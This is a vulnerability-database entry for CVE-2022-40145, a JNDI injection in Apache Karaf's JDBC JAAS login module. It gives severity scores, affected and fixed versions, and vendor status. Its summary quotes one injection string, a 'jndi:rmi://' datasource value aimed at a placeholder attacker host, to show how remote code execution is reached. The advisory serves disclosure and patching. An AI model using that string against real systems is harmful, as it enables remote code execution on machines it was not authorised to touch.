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TI-2022-19035 Aliases CVE-2022-40145GHSA-c2p4-8mvv-rwmv

Apache Karaf: JDBC JAAS LDAP injection

Priority MEDIUM 54CWE-20Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
High · High · High
Fix status
Partial Red Hat: 3 without a fix

Attack profile from CVSS 3.1 · CISA ADP. Fix status from CNA, GitHub and Red Hat.

Summary

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV
EPSS 0.02596 85th percentileScored 2026-11-07
Fix Partial Apache Karaf (Apache Software Foundation): 4.4.2, 4.3.8org.apache.karaf:apache-karaf (Maven): 4.3.8, 4.4.2Red Hat: 3 without a fix

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
None
Automatable
Yes
Technical impact
Total

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
ApacheApache Karaf4.4.0 to before 4.4.2; before 4.3.84.4.2, 4.3.8Patch availableCNA
—org.apache.karaf:apache-karaf (Maven)before 4.3.84.3.8Patch availableGHSA-c2p4-8mvv-rwmv
—org.apache.karaf:apache-karaf (Maven)4.4.0 to before 4.4.24.4.2Patch availableGHSA-c2p4-8mvv-rwmv
  • Apache Karaf VendorApache Affected 4.4.0 to before 4.4.2; before 4.3.8 Fixed in 4.4.2, 4.3.8 Patch available CNA
  • org.apache.karaf:apache-karaf (Maven) Vendor— Affected before 4.3.8 Fixed in 4.3.8 Patch available GHSA-c2p4-8mvv-rwmv
  • org.apache.karaf:apache-karaf (Maven) Vendor— Affected 4.4.0 to before 4.4.2 Fixed in 4.4.2 Patch available GHSA-c2p4-8mvv-rwmv

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*before 4.3.8; 4.4.0 to before 4.4.2VulnerableApache
  • cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:* Versions before 4.3.8; 4.4.0 to before 4.4.2 Vulnerable ·Apache

Remediation

  • Fix · CNA Apache Karaf (Apache Software Foundation) Fixed in 4.4.2, 4.3.8
  • Fix · GHSA-c2p4-8mvv-rwmv org.apache.karaf:apache-karaf (Maven) Fixed in 4.3.8 Advisory →
  • Fix · GHSA-c2p4-8mvv-rwmv org.apache.karaf:apache-karaf (Maven) Fixed in 4.4.2 Advisory →

Vendor assessments

Red Hat

Red Hat rating: Important. Red Hat's page for this CVE →

ProductStatusPlan or fix
Red Hat JBoss A-MQ 6AffectedNo fix planned: Out of support scope
Red Hat JBoss Data Grid 7AffectedNo fix planned: Out of support scope
Red Hat JBoss Fuse 6AffectedNo fix planned: Out of support scope
Not affected: 3 products
  • Red Hat Decision Manager 7
  • Red Hat Fuse 7
  • Red Hat Process Automation 7

Timeline

  1. 2026-10-02 Threatist record created from CVE-2022-40145
  2. 2026-10-03 Alias added: GHSA-c2p4-8mvv-rwmv

References

Advisory 2

Other 5

  • TI-2018-08445 XML external entity injection in Apache Karaf CVSS 3.0CRITICAL 9.8
  • TI-2026-61863 Missing authorization in Apache Karaf CVSS 3.1CRITICAL 9.8
  • TI-2026-61851 Apache Karaf: Path Traversal in Config Service Allows Manager-to-Admin Privilege Escalation CVSS 3.1CRITICAL 9.8
  • TI-2020-17076 An issue was discovered in Legion of the Bouncy Castle BC Java 1.65 and 1.66. CVSS 3.1HIGH 8.1
  • TI-2026-61846 Apache Karaf: OS Command Injection in Child-Instance Launch (instance:* / InstancesMBean) CVSS 3.1HIGH 8.8
  • TI-2018-08443 Improper privilege management in Apache Karaf CVSS 3.0HIGH 8.8
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